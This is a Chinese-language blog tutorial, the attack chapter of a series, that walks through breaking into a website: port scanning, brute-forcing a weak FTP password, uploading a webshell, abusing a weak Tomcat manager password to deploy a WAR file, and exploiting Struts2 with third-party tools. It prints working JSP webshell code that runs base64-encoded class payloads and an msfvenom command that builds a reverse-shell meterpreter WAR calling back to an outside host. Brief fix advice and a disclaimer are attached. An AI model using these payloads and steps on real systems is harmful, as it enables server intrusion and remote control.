X黑手网
X黑手网
X黑手网

黑客攻防实战:揭秘网站攻击的真相与应对策略(二)攻击篇

免责申明

本教程的技术文章仅供参考,只用于教育目的,只是演示一些工具和工具的使用以及渗透思路,大佬勿喷,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!

推荐阅读

黑客攻防实战:揭秘网站攻击的真相与应对策略(一)攻击篇-X黑手网
黑客攻防实战:揭秘网站攻击的真相与应对策略(二)防御篇-应急响应-X黑手网

废话不多说,拿到一个网址直接开干

直接端口扫描

image

先看看21端口,是什么,不知道的百度,发现是ftp,那么尝试弱口令爆破

漏洞描述

FTP 弱口令或匿名登录漏洞,一般指使用 FTP 的用户启用了匿名登录功能,或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为。

漏洞危害

黑客利用弱口令或匿名登录漏洞直接登录 FTP 服务,上传恶意文件,从而获取系统权限,并可能造成数据泄露。

image

直接得到密码,我们连接看下,发现是网站根目录

image

直接上传shell,拿到服务器shell

919eb570b1fa7ca9cd70fbece7b4549

11ba1c73b5966ba25df3bcef422854e

在打开8080端口看看是啥?发现是Tomcat面板

image

Tomcat是什么?

Tomcat,全称Apache Tomcat,是一个开源的Web应用服务器。它可以看作是一个“小型网站服务器”,主要用于运行Java编写的网站。不同于那些需要大量计算资源的大型商业服务器,Tomcat更适合用于个人项目或小型企业,提供网页浏览和小规模数据处理功能
————————————————

那他有些什么漏洞可利用呢?

Tomcat后台弱口令上传war包

首先我们先来了解以下Tomcat的概念:

Tomcat是我们在工作中所使用的一款开源轻量级的Web应用程序服务器。通常情况下在中小型系统或者并发量较小的场合下使用,常用来与JSP脚本结合使来解析脚本语言部署搭建网站等系统。

在这里我们将Tomcat的几大高危漏洞整理至以下:

1、Tomcat后台弱口令上传war包

2、Tomcat的PUT的上传漏洞(CVE-2017-12615)

3、Tomcat反序列化漏洞(CVE-2016-8735)

4、Tomcat JMX服务器弱口令

5、Tomcat 样例目录session操控漏洞

6、Tomcat本地提权漏洞(CVE-2016-1240)

7Tomcat win版默认空口令漏洞(CVE-2009-3548)

在这里解释一下War包的概念:war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

首先演示Tomcat后台弱口令上传war包

点击mananger app或者直接访问manager目录,会提示登录,

image

image

直接利用工具看是否存在弱口令

image

可以看到是弱口令接着我们访问并登录后台找到上传war文件位置

image

这是需要执着一个war的包,可以自己手动打包,jsp一句话木马代码如下,密码为passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

使用jar cvf test.war test.jsp打包

image

将该test.war上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的test.jsp放到目录中,所以只需要访问test/test.jsp即可

image

访问成功,空白页面

image

使用webshell连接工具,我这儿用冰蝎连接

QQ_1721074632021

额外的技巧,使用msfvenom也可以生成war后门文件,如下

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war

上传后只需要启动msfconsole然后use multi/handler,设置payload和相关参数,可以获得一个更强的meterpreter shell
感兴趣可以手动尝试。

漏洞修复建议

  1. conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器
  2. manager目录下的功能暂时关闭,需要的时候打开

接着我们看见他有struts2

image

struts2是什么?

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

struts2介绍
Struts2 是一个基于MVC设计模式的流行且成熟的Web应用程序框架. Struts2不仅仅是Struts 1的新版本,它完全重写了Struts架构.

Webwork框架最初以Struts框架为基础,其目标是提供一个基于Struts的增强和改进的框架,使开发人员更容易进行Web开发.过了一段时间,Webwork框架和Struts社区携手创建着名的Struts2框架.(也可以将struts2比作于一个大的servlet) 

然后访问这个网址 http://127.0.0.1:8080(IP加端口)/struts2-showcase/index.action

image

然后使用struts2漏洞检测工具,复制url,即可成功检测

image

我们借助第三方工具,来进行生成木马文件,然后进行随意上传文件,进行漏洞检测,然后上传木马文件,获取服务器的shell

QQ_1721074432829

 查看木马文件

image

struts2漏洞扫描工具

image

观察上传访问路径,进行复制,使用第三方工具(冰蝎)进行连接

QQ_1721074632021

 连接成功,进行添加,进入,成功拿到服务器shell

漏洞修复建议(或缓解措施):

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

© 版权声明
THE END
喜欢就支持一下吧
点赞10赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容